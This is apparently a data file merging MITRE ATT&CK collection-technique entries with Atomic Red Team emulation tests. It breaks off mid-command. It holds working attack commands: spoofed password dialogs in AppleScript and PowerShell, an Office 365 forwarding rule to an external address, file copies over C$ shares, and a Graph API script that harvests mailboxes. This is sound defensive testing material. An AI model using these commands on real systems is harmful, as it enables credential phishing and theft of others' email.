'File: File Modification' x_mitre_system_requirements: - An externally facing login portal is configured. type: attack-pattern id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e created: '2020-02-11T18:59:50.058Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/003 external_id: T1056.003 - source_name: Volexity Virtual Private Keylogging description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1125: technique: modified: '2023-10-31T14:00:00.188Z' name: Video Capture description: |- An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Praetorian x_mitre_detection: |- Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data. x_mitre_domains: - enterprise-attack x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf created: '2017-05-31T21:31:37.917Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1125 external_id: T1125 - source_name: objective-see 2017 review description: Patrick Wardle. (n.d.). Retrieved March 20, 2018. url: https://objective-see.com/blog/blog_0x25.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_is_subtechnique: false spec_version: '2.1' identifier: T1125 atomic_tests: - name: Registry artefact when application use webcam auto_generated_guid: 6581e4a7-42e3-43c5-a0d2-5a0d62f9702a description: "[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)\n" supported_platforms: - windows executor: command: | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f cleanup_command: 'reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /f ' name: command_prompt T1213.001: technique: x_mitre_platforms: - SaaS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc type: attack-pattern created: '2020-02-14T13:09:51.004Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1213.001 url: https://attack.mitre.org/techniques/T1213/001 - url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html description: Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. source_name: Atlassian Confluence Logging modified: '2022-04-25T14:00:00.188Z' name: Confluence description: |2 Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: |- Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Application Log: Application Log Content' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1114.003: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Email Collection: Email Forwarding Rule' description: "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Microsoft Security - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC) - Liran Ravich, CardinalOps x_mitre_deprecated: false x_mitre_detection: |- Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - Windows - Google Workspace - macOS - Linux x_mitre_version: '1.3' x_mitre_data_sources: - 'Command: Command Execution' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0 created: '2020-02-19T18:54:47.103Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1114/003 external_id: T1114.003 - source_name: Mac Forwarding Rules description: Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021. url: https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac - source_name: Pfammatter - Hidden Inbox Rules description: Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. url: https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2 description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ - source_name: Microsoft Mail Flow Rules 2023 description: Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023. url: https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules - source_name: US-CERT TA18-068A 2018 description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019. url: https://www.us-cert.gov/ncas/alerts/TA18-086A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1114.003 atomic_tests: - name: Office365 - Email Forwarding auto_generated_guid: 3234117e-151d-4254-9150-3d0bac41e38c description: 'Creates a new Inbox Rule to forward emails to an external user via the "ForwardTo" property of the New-InboxRule Powershell cmdlet. ' supported_platforms: - office-365 input_arguments: username: description: office-365 username type: string default: password: description: office-365 password type: string default: rule_name: description: email rule name type: string default: Atomic Red Team Email Rule forwarding_email: description: destination email addresses type: string default: Atomic_Operator@fakeemail.aq dependency_executor_name: powershell dependencies: - description: "ExchangeOnlineManagement PowerShell module must be installed. Your user must also have an Exchange license. \n" prereq_command: | $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0} get_prereq_command: "Install-Module -Name ExchangeOnlineManagement \nImport-Module ExchangeOnlineManagement\n" executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}" cleanup_command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Get-InboxRule | Where-Object { $_.Name -eq "#{rule_name}" | ForEach-Object { Remove-InboxRule -Identity $_.Identity -Force -Confirm:$False } name: powershell elevation_required: false T1074: technique: x_mitre_platforms: - Windows - IaaS - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Praetorian - Shane Tully, @securitygypsy object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e created: '2017-05-31T21:30:58.938Z' x_mitre_version: '1.4' external_references: - source_name: mitre-attack external_id: T1074 url: https://attack.mitre.org/techniques/T1074 - source_name: Mandiant M-Trends 2020 url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. - source_name: PWC Cloud Hopper April 2017 url: https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf description: PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. x_mitre_deprecated: false revoked: false description: |- Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection. modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data Staged x_mitre_detection: |- Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_is_subtechnique: false x_mitre_data_sources: - 'File: File Access' - 'File: File Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1056.002: technique: modified: '2024-04-15T23:39:31.474Z' name: 'Input Capture: GUI Input Capture' description: |- Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Matthew Molyett, @s1air, Cisco Talos x_mitre_deprecated: false x_mitre_detection: "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '1.3' x_mitre_data_sources: - 'Script: Script Execution' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d created: '2020-02-11T18:58:45.908Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/002 external_id: T1056.002 - source_name: LogRhythm Do You Trust Oct 2014 description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018. url: https://logrhythm.com/blog/do-you-trust-your-computer/ - source_name: Spoofing credential dialogs description: Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021. url: https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ - source_name: OSX Keydnap malware description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: Enigma Phishing for Credentials Jan 2015 description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.' url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ - source_name: OSX Malware Exploits MacKeeper description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017. url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1056.002 atomic_tests: - name: AppleScript - Prompt User for Password auto_generated_guid: 76628574-0bc1-4646-8fe2-8f4427b47d15 description: | Prompt User for Password (Local Phishing) Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html supported_platforms: - macos executor: command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell app "System Preferences" to activate'' -e ''tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'' ' name: bash - name: PowerShell - Prompt User for Password auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52 description: | Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials. Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py supported_platforms: - windows executor: command: "# Creates GUI to prompt for password. Expect long pause before prompt is available. \n$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning $cred.GetNetworkCredential().Password\n" name: powershell - name: AppleScript - Spoofing a credential prompt using osascript auto_generated_guid: b7037b89-947a-427a-ba29-e7e9f09bc045 description: | Prompt user for password without requiring permissions to send Apple events to System Settings. https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ supported_platforms: - macos executor: command: | PWD_SPOOF=$(osascript -e 'display dialog "To perform a security update MacOS needs your passphrase." with title "MacOS Security Update" default answer "" with icon stop with hidden answer') echo $PWD_SPOOF name: bash T1039: technique: modified: '2023-08-11T21:06:07.690Z' name: Data from Network Shared Drive description: Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - David Tayouri x_mitre_deprecated: false x_mitre_detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Network Share: Network Share Access' - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' - 'File: File Access' x_mitre_system_requirements: - Privileges to access network shared drive type: attack-pattern id: attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c created: '2017-05-31T21:30:41.022Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1039 external_id: T1039 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1039 atomic_tests: - name: Copy a sensitive File over Administrative share with copy auto_generated_guid: 6ed67921-1774-44ba-bac6-adb51ed60660 description: |- Copy from sensitive File from the c$ of another LAN computer with copy cmd https://twitter.com/SBousseaden/status/1211636381086339073 supported_platforms: - windows input_arguments: remote: description: Remote server name type: string default: 127.0.0.1 share_file: description: Remote Path to the file type: path default: Windows\temp\Easter_Bunny.password local_file: description: Local name type: string default: Easter_egg.password dependency_executor_name: powershell dependencies: - description: 'Administrative share must exist on #{remote} ' prereq_command: 'if (Test-Path "\\#{remote}\C$") {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host ''Please Enable "C$" share on #{remote}'' ' - description: '"\\#{remote}\C$\#{share_file}" must exist on #{remote} ' prereq_command: 'if (Test-Path "\\#{remote}\C$\#{share_file}") {exit 0} else {exit 1} ' get_prereq_command: 'Out-File -FilePath "\\#{remote}\C$\#{share_file}" ' executor: command: copy \\#{remote}\C$\#{share_file} %TEMP%\#{local_file} cleanup_command: |- del \\#{remote}\C$\#{share_file} del %TEMP%\#{local_file} name: command_prompt elevation_required: true - name: Copy a sensitive File over Administrative share with Powershell auto_generated_guid: 7762e120-5879-44ff-97f8-008b401b9a98 description: |- Copy from sensitive File from the c$ of another LAN computer with powershell https://twitter.com/SBousseaden/status/1211636381086339073 supported_platforms: - windows input_arguments: remote: description: Remote server name type: string default: 127.0.0.1 share_file: description: Remote Path to the file type: path default: Windows\temp\Easter_Bunny.password local_file: description: Local name type: string default: Easter_egg.password dependency_executor_name: powershell dependencies: - description: 'Administrative share must exist on #{remote} ' prereq_command: 'if (Test-Path "\\#{remote}\C$") {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host ''Please Enable "C$" share on #{remote}'' ' - description: '"\\#{remote}\C$\#{share_file}" must exist on #{remote} ' prereq_command: 'if (Test-Path "\\#{remote}\C$\#{share_file}") {exit 0} else {exit 1} ' get_prereq_command: 'Out-File -FilePath "\\#{remote}\C$\#{share_file}" ' executor: command: copy-item -Path "\\#{remote}\C$\#{share_file}" -Destination "$Env:TEMP\#{local_file}" cleanup_command: |- Remove-Item -Path "\\#{remote}\C$\#{share_file}" Remove-Item -Path "$Env:TEMP\#{local_file}" name: powershell elevation_required: true T1114.002: technique: modified: '2023-05-31T12:34:03.420Z' name: 'Email Collection: Remote Email Collection' description: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_deprecated: false x_mitre_detection: 'Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - Windows - Google Workspace x_mitre_version: '1.2' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a created: '2020-02-19T18:52:24.547Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1114/002 external_id: T1114.002 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1114.002 atomic_tests: - name: Office365 - Remote Mail Collected auto_generated_guid: 36657d95-d9d6-4fbf-8a31-f4085607bafd description: "Create and register an entra application that downloads emails from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only access. This can be used by an adversary to collect an organization's sensitive information. \n" supported_platforms: - office-365 input_arguments: username: description: Full username (including @domain) of Entra user w/ AppRoleassignment.ReadWrite.All and Application.ReadWrite.All Scope (eg, Global Administrator Role) and sign-in method is password type: string default: password: description: Entra user password type: string default: 1st_target_mailbox: description: office-365 target_email_address type: string default: 2nd_target_mailbox: description: office-365 target_email_address type: string default: 3rd_target_mailbox: description: office-365 target_email_address type: string default: dependency_executor_name: powershell dependencies: - description: 'Microsoft Graph PowerShell SDK must be installed. ' prereq_command: | $RequiredModule = Get-InstalledModule Microsoft.Graph if (-not $RequiredModule) {exit 1} else {exit 0} get_prereq_command: 'Install-Module Microsoft.Graph -Scope CurrentUser ' - description: 'Az.Accounts module must be installed. ' prereq_command: | $RequiredModule2 = Get-InstalledModule Az.Accounts if (-not $RequiredModule2) {exit 1} else {exit 0} get_prereq_command: 'Install-Module Az.Accounts -Scope CurrentUser ' executor: command: "$ss = ConvertTo-SecureString \"#{password}\" -AsPlainText -Force\n$cred = New-Object PSCredential -ArgumentList '#{username}', $ss\n$param = @{\n \ Credential = $cred\n Force = $true\n}\n$null = Connect-AzAccount @param\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token\n$cert = New-SelfSignedCertificate -Subject \"CN=PowerShell Application\" -CertStoreLocation \"Cert:\\CurrentUser\\My\" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256\n$reqResourceAccess = ( @{ \"resourceAccess\" = (@{\"id\"= \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\"; \"type\"= \"Scope\"}, @{ \"id\"= \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\"; \"type\"= \"Scope\"}, @{\"id\"= \"37f7f235-527c-4136-accd-4a02d197296e\"; \"type\"= \"Scope\"}, @{\"id\"= \"14dad69e-099b-42c9-810b-d002981feec1\"; \"type\"= \"Scope\"}, @{ \"id\"= \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\"; \"type\"= \"Scope\"}, @{ \"id\"= \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\"; \"type\"= \"Role\"}); \"resourceAppId\" = \"00000003-0000-0000-c000-000000000000\" })\nconnect-mggraph -AccessToken $token\n$context = Get-MgContext \n$users = get-MgUser\n$app = New-MgApplication -DisplayName \"T1114.002 Atomic Test #1 - Office365 - Remote Email Collection\" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris=\"http://localhost\"; } -KeyCredentials @(@{ Type=\"AsymmetricX509Cert\"; Usage=\"Verify\"; Key=$cert.RawData })\nNew-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null\n$resourceSPN = Get-MgServicePrincipal -Filter \"AppId eq '$($app.AppId)'\"\n$graphApiApp = Get-MgServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq \"Mail.Read\"\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id\n$mailbox1 = \"#{1st_target_mailbox}\"\n$mailbox2 = \"#{2nd_target_mailbox}\"\n$mailbox3 = \"#{3rd_target_mailbox}\"\n[System.Collections.ArrayList]$selectUsers = @()\nforeach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\nconnect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\nforeach ($user in $selectUsers) { $url= \"https://graph.microsoft.com/v1.0/users/$($user)/messages\" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}\n" cleanup_command: | connect-mggraph -Scopes 